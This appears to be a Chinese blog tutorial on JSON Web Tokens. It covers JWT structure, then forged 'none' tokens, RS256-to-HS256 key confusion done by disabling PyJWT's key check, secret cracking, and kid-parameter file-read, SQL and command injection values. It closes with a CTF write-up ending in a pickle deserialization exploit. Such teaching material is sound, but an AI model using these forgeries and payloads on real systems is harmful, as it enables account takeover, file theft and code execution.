JSON Web Token(缩写 JWT)是目前最流行的跨域认证解决方案。

JWT 的原理

JWT 的原理是,服务器认证以后,生成一个 JSON 对象,发回给用户,就像下面这样。

1
2
3
4
5
{
"姓名": "张三",
"角色": "管理员",
"到期时间": "2020年7月1日0点0分"
}

以后,用户与服务端通信的时候,都要发回这个 JSON 对象。服务器完全只靠这个对象认定用户身份。为了防止用户篡改数据,服务器在生成这个对象的时候,会加上签名(详见后文)。

服务器就不保存任何 session 数据了,也就是说,服务器变成无状态了,从而比较容易实现扩展。

JWT 的数据结构

实际的 JWT 大概就像下面这样。

1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3QifQ.l0qG4XbJbemqJXsaITaT8g78fkJ-boRvU2H7H1CY644

它是一个很长的字符串,中间用点(.)分隔成三个部分。
JWT 的三个部分依次如下。

1
2
3
Header(头部)
Payload(负载)
Signature(签名)

Header 部分是一个 JSON 对象,描述 JWT 的元数据,通常是下面的样子。

1
2
3
4
{
"alg": "HS256",
"typ": "JWT"
}

上面代码中,alg属性表示签名的算法(algorithm),默认是 HMAC SHA256(写成 HS256);typ属性表示这个令牌(token)的类型(type),JWT 令牌统一写为JWT。

最后,将上面的 JSON 对象使用 Base64URL 算法(详见后文)转成字符串

Payload

Payload 部分也是一个 JSON 对象,用来存放实际需要传递的数据。JWT 规定了7个官方字段,供选用。

1
2
3
4
5
6
7
iss (issuer):签发人
exp (expiration time):过期时间
sub (subject):主题
aud (audience):受众
nbf (Not Before):生效时间
iat (Issued At):签发时间
jti (JWT ID):编号

除了官方字段,你还可以在这个部分定义私有字段,下面就是一个例子。

1
2
3
4
5
{
"sub": "1234567890",
"name": "John Doe",
"admin": true
}

注意,JWT 默认是不加密的,任何人都可以读到,所以不要把秘密信息放在这个部分。

这个 JSON 对象也要使用 Base64URL 算法转成字符串。

Signature

Signature 部分是对前两部分的签名,防止数据篡改。

首先,需要指定一个密钥(secret)。这个密钥只有服务器才知道,不能泄露给用户。然后,使用 Header 里面指定的签名算法(默认是 HMAC SHA256),按照下面的公式产生签名。

1
2
3
4
HMACSHA256(
base64UrlEncode(header) + "." +
base64UrlEncode(payload),
secret)

算出签名以后,把 Header、Payload、Signature 三个部分拼成一个字符串,每个部分之间用”点”(.)分隔,就可以返回给用户。

Base64URL

前面提到,Header 和 Payload 串型化的算法是 Base64URL。这个算法跟 Base64 算法基本类似,但有一些小的不同。

JWT 作为一个令牌(token),有些场合可能会放到 URL(比如 api.example.com/?token=xxx)。Base64 有三个字符+、/和=,在 URL 里面有特殊含义,所以要被替换掉:=被省略、+替换成-,/替换成_ 。这就是 Base64URL 算法。

完整token生成

python

1
pip install pyjwt

token生成

1
2
3
4
5
import jwt
key='secret_key'
encoded_jwt=jwt.encode({'username':'admin'},key,algorithm='HS256')
print(encoded_jwt)
print(jwt.decode(encoded_jwt,key,algorithms='HS256'))

output

1
2
b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.g0te4fe0-MjFyCTUVOjaq_ipV7em82cF06lzPOq3SkE'
{'username': 'admin'}

JWT 的使用方式

客户端收到服务器返回的 JWT,可以储存在 Cookie 里面,也可以储存在 localStorage。

此后,客户端每次与服务器通信,都要带上这个 JWT。你可以把它放在 Cookie 里面自动发送,但是这样不能跨域,所以更好的做法是放在 HTTP 请求的头信息Authorization字段里面。

1
Authorization: Bearer <token>

另一种做法是,跨域的时候,JWT 就放在 POST 请求的数据体里面。

jwt在线加解密

jwt的在线解密地址: http://jwt.calebb.net/
jwt的在线加解密:地址https://jwt.io/

JWT的攻击方式

一些JWT 漏洞相关的源码: https://github.com/Sjord/jwtdemo/

敏感信息泄露

由于payload是使用base64url编码的,所以相当于明文传输,如果在payload中携带了敏感信息(如存放密钥对的文件路径),单独对payload部分进行base64url解码,就可以读取到payload中携带的信息。

加密算法篡改

空加密算法

JWT支持使用空加密算法,可以在header中指定alg为None

这样的话,只要把signature设置为空(即不添加signature字段),提交到服务器,任何token都可以通过服务器的验证。举个例子,使用以下的字段

1
2
3
4
5
6
7
{
"alg" : "None",
"typ" : "jwt"
}
{
"user" : "Admin"
}

生成的完整token为

1
ew0KCSJhbGciIDogIk5vbmUiLA0KCSJ0eXAiIDogImp3dCINCn0.ew0KCSJ1c2VyIiA6ICJBZG1pbiINCn0

(header+’.’+payload,去掉了’.’+signature字段)

示例

1
2
3
4
5
6
7
8
import base64
def b64urlencode(data):
return base64.b64encode(data).replace('+', '-').replace('/', '_').replace('=', '')

payload='{"username":"test"}'

header="{\"alg\":\"none\",\"typ\":\"JWT\"}"
print b64urlencode(header) + '.'+ b64urlencode(payload)+ '.'

或者

1
2
3
4
5
6
import jwt

data={
"username":"test"
}
print(jwt.encode(data,"",algorithm='none'))

output

1
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VybmFtZSI6InRlc3QifQ.

将output的字符串放入到
http://demo.sjoerdlangkemper.nl/jwtdemo/hs256.php

将RS256算法改为HS256

HS256算法使用密钥为所有消息进行签名和验证,非对称密码算法。

而RS256算法则使用私钥对消息进行签名并使用公钥进行身份验证,对称密码算法。

如果将算法从RS256改为HS256,则后端代码将使用公钥作为密钥,然后使用HS256算法验证签名。

由于攻击者有时可以获取公钥,因此,攻击者可以将头部中的算法修改为HS256,然后使用RSA公钥对数据进行签名。
示例:
RSA公钥:http://demo.sjoerdlangkemper.nl/jwtdemo/public.pem

1
2
3
4
5
import jwt

public = open('public.pem', 'r').read()
print public
print jwt.encode({"data":"test"}, key=public, algorithm='HS256')

直接运行如上代码的会报错,pyjwt进行了判断。
jwt/algorithms.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def prepare_key(self, key):
key = force_bytes(key)

invalid_strings = [
b'-----BEGIN PUBLIC KEY-----',
b'-----BEGIN CERTIFICATE-----',
b'-----BEGIN RSA PUBLIC KEY-----',
b'ssh-rsa'
]

if any([string_value in key for string_value in invalid_strings]):
raise InvalidKeyError(
'The specified key is an asymmetric key or x509 certificate and'
' should not be used as an HMAC secret.')

return key

prepare_key会判断是否有非法字符,简单粗暴的注释掉

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def prepare_key(self, key):
key = force_bytes(key)

invalid_strings = [
b'-----BEGIN PUBLIC KEY-----',
b'-----BEGIN CERTIFICATE-----',
b'-----BEGIN RSA PUBLIC KEY-----',
b'ssh-rsa'
]

#if any([string_value in key for string_value in invalid_strings]):
#raise InvalidKeyError(
# 'The specified key is an asymmetric key or x509 certificate and'
# ' should not be used as an HMAC secret.')

return key

运行结果为

1
2
3
4
5
6
7
8
9
10
11
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAqi8TnuQBGXOGx/Lfn4JF
NYOH2V1qemfs83stWc1ZBQFCQAZmUr/sgbPypYzy229pFl6bGeqpiRHrSufHug7c
1LCyalyUEP+OzeqbEhSSuUss/XyfzybIusbqIDEQJ+Yex3CdgwC/hAF3xptV/2t+
H6y0Gdh1weVKRM8+QaeWUxMGOgzJYAlUcRAP5dRkEOUtSKHBFOFhEwNBXrfLd76f
ZXPNgyN0TzNLQjPQOy/tJ/VFq8CQGE4/K5ElRSDlj4kswxonWXYAUVxnqRN1LGHw
2G5QRE2D13sKHCC8ZrZXJzj67Hrq5h2SADKzVzhA8AW3WZlPLrlFT3t1+iZ6m+aF
KwIDAQAB
-----END PUBLIC KEY-----

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkYXRhIjoidGVzdCJ9.c-yX20a99ofP2yImxNn3vMtOgRvYqM4Xs8AZBMZ1aug

爆破HS256密钥

不过对 JWT 的密钥爆破需要在一定的前提下进行:

  • 知悉JWT使用的加密算法
  • 一段有效的、已签名的token
  • 签名用的密钥不复杂(弱密钥)

相关工具:c-jwt-cracker
JWTPyCrack

修改KID参数

kid是jwt header中的一个可选参数,全称是key ID,它用于指定加密算法的密钥

1
2
3
4
5
{
"alg" : "HS256",
"typ" : "jwt",
"kid" : "/home/jwt/.ssh/pem"
}

因为该参数可以由用户输入,所以也可能造成一些安全问题。

任意文件读取

kid参数用于读取密钥文件,但系统并不会知道用户想要读取的到底是不是密钥文件,所以,如果在没有对参数进行过滤的前提下,攻击者是可以读取到系统的任意文件的。

1
2
3
4
5
{
"alg" : "HS256",
"typ" : "jwt",
"kid" : "/etc/passwd"
}

SQL注入

kid也可以从数据库中提取数据,这时候就有可能造成SQL注入攻击,通过构造SQL语句来获取数据或者是绕过signature的验证

1
2
3
4
5
{
"alg" : "HS256",
"typ" : "jwt",
"kid" : "key11111111' || union select 'secretkey' -- "
}

命令注入

对kid参数过滤不严也可能会出现命令注入问题,但是利用条件比较苛刻。如果服务器后端使用的是Ruby,在读取密钥文件时使用了open函数,通过构造参数就可能造成命令注入。

1
"/path/to/key_file|whoami"

对于其他的语言,例如php,如果代码中使用的是exec或者是system来读取密钥文件,那么同样也可以造成命令注入,当然这个可能性就比较小了。

修改JKU/X5U参数

JKU的全称是”JSON Web Key Set URL”,用于指定一组用于验证令牌的密钥的URL。类似于kid,JKU也可以由用户指定输入数据,如果没有经过严格过滤,就可以指定一组自定义的密钥文件,并指定web应用使用该组密钥来验证token。

X5U则以URI的形式数允许攻击者指定用于验证令牌的公钥证书或证书链,与JKU的攻击利用方式

例题

[CISCN2019 华北赛区 Day1 Web2]ikun

首页提示 ikun们冲鸭,一定要买到lv6!!!
一直点击下一页,没有找到lv6,写个脚本寻找一下

1
2
3
4
5
6
7
8
9
from time import sleep
import requests
url="http://fe7b0375-7ea6-429f-bb30-8f39d45b0ab4.node3.buuoj.cn/shop?page="
for i in range(0,500):
r=requests.get(url+str(i))
sleep(0.3)
if 'lv6.png' in r.text:
print(i)
break

可以找到lv6在181页中,进去查看后,发现要1145141919.0。随便测试一个test账号,账户余额1000元,远远不足。
尝试抓包修改一下价格或折扣,修改价格时操作失败,修改折扣时,跳转到/b1g_m4mber 页面,
显示只有admin才能访问。


这里使用的是JWT认证,将cookie中的JWT拿去解密https://jwt.io/

可以得知使用的是HS256加密,要伪造的话,这里需要爆破secre的值,或者将alg修改为none,尝试一下。
alg修改为none

1
2
3
4
5
6
7
8
9
import jwt

data={
"username":"test"
}
print(jwt.encode(data,"",algorithm='none'))

output:
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VybmFtZSI6InRlc3QifQ.

将生成的jwt字符串替换掉cookie原来的jwt,访问服务器报错失败

爆破secret的值

得到secret为1Kun

1
2
3
4
5
6
7
8
9
10
import jwt

payload={
"username":"admin"
}
secret="1Kun"
print(jwt.encode(payload,secret,algorithm="HS256"))

output:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo

修改JWT后,成功以admin的身份登录,发现一个unicode加密的字符串

解密后

去lv6的页面源码找了一下,没有发现什么,再去访问一下/b1g_m4mber的页面内,发现了备份源码

Admin.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
class AdminHandler(BaseHandler):
@tornado.web.authenticated
def get(self, *args, **kwargs):
if self.current_user == "admin":
return self.render('form.html', res='This is Black Technology!', member=0)
else:
return self.render('no_ass.html')

@tornado.web.authenticated
def post(self, *args, **kwargs):
try:
become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))
return self.render('form.html', res=p, member=1)
except:
return self.render('form.html', res='This is Black Technology!', member=0)

附上exp

1
2
3
4
5
6
7
8
9
10
11
12
13
import pickle
import urllib

class payload(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a = urllib.quote(a)
print a

output:
c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.

将生成的payload放到隐藏的输入框里,只需将hidden=”hidden”删除即可

参考文章:
JSON Web Token 入门教程
攻击JWT的一些方法
JSON Web Token (JWT) 攻击技巧
Attacking JWT authentication
Json Web Token历险记